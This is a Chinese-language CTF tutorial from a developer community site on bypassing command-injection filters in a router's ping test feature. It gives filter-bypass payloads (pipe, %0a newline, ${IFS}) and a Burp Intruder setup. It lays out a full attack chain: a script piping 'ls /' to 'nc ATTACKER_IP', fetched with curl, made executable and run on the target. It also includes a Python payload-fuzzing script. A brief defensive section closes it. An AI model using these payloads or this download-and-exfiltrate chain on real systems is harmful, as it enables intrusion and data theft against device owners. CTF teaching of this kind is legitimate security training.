CTF靶场实战：绕过路由器Ping命令过滤，手把手教你用BurpSuite和nc拿Flag-开发者社区

CTF靶场实战：绕过路由器Ping命令过滤的进阶技巧

在网络安全竞赛中，命令注入是最基础也最考验技巧的题型之一。许多新手CTFer面对看似简单的Ping测试功能时，常常因为不熟悉过滤机制和绕过手法而束手无策。本文将深入剖析一个典型的路由器管理后台Ping测试场景，从基础绕过到完整攻击链构建，手把手教你如何在没有标准开发环境的限制下，灵活运用各种工具组合获取Flag。

1. 理解目标环境与过滤机制

当我们面对一个路由器管理界面的Ping测试功能时，首先要明确几个关键点：

输入点分析：通常是一个简单的文本输入框，允许用户输入IP地址或域名进行网络连通性测试
常见过滤规则：
- 黑名单关键字：如;、&&、||等常见命令连接符
- 特殊字符过滤：引号、反斜杠等可能用于命令注入的字符
- 空格限制：有时会过滤或限制空格的使用

典型过滤示例：

# 假设后端过滤逻辑大致如下 blacklist = [";", "&&", "||", "`", "$(", ">", "<"] input = sanitize(user_input) # 过滤黑名单字符 system("ping -c 4 " + input) # 拼接命令执行

提示：在实际测试中，可以通过输入各种特殊字符并观察返回错误信息来推测过滤规则。

2. 基础绕过技巧实战

2.1 管道符与命令分隔技巧

当常见的命令连接符被过滤时，可以尝试以下替代方案：

管道符|：在某些环境下可以绕过基础过滤
```
127.0.0.1 | whoami
```
换行符绕过：使用URL编码的换行符%0a
```
127.0.0.1%0aid
```
空格替代方案：
- ${IFS}：内部字段分隔符
- <或>：重定向符号在特定情况下可替代空格
- %09：Tab键的URL编码

2.2 特殊字符编码技巧

当直接输入特殊字符被拦截时，可以考虑以下编码方式：

字符	URL编码	适用场景
空格	%20	通用URL编码
换行	%0a	命令分隔
Tab	%09	空格替代
/	%2f	路径分隔

# 示例：使用编码空格执行命令 127.0.0.1%0Aid%0A

3. 受限环境下的攻击链构建

当目标环境没有bash、python等常用解释器时，需要更精巧的攻击方法。

3.1 文件传输与脚本执行

步骤1：准备攻击脚本

在攻击机(Kali)上创建脚本backview.sh：

#!/bin/sh ls / | nc ATTACKER_IP 10020

步骤2：启动HTTP服务

python3 -m http.server 80

步骤3：目标机下载脚本通过BurpSuite修改请求，使用curl下载：

curl ATTACKER_IP/backview.sh >/tmp/backview.sh

注意：在某些受限环境中，wget可能无法正常执行下载的文件，因此优先使用curl。

3.2 权限设置与脚本执行

步骤4：设置执行权限

chmod 777 /tmp/backview.sh

步骤5：启动监听在攻击机上运行：

nc -lvvp 10020

步骤6：执行脚本通过BurpSuite发送执行命令：

sh /tmp/backview.sh

4. 进阶技巧与自动化工具

4.1 BurpSuite Intruder模块的运用

对于需要大量尝试的绕过场景，可以配置BurpSuite Intruder：

捕获含有Ping命令的请求
发送到Intruder模块
设置攻击位置为Ping参数
加载预定义的fuzz字典（包含各种绕过payload）

常用Payload位置：

§127.0.0.1§ §127.0.0.1|id§ §127.0.0.1%0aid§

4.2 自动化脚本示例

对于重复性操作，可以编写简单脚本自动化处理：

import requests import urllib.parse target = "http://target-ip/ping" payloads = ["|id", "%0aid", "||id", "&&id"] for p in payloads: encoded = urllib.parse.quote(p) r = requests.post(target, data={"ip": f"127.0.0.1{encoded}"}) if "uid=" in r.text: print(f"Success with payload: {p}") break

5. 防御措施与安全建议

了解攻击手段后，开发者应实施更健全的防御：

输入验证：
- 白名单验证（仅允许IP地址格式）
- 严格限制输入长度

安全执行：

# 更安全的命令执行示例 import subprocess def safe_ping(ip): if not validate_ip(ip): # 严格的IP验证 return "Invalid IP" try: result = subprocess.run(["ping", "-c", "4", ip], capture_output=True, text=True, timeout=5) return result.stdout except: return "Error"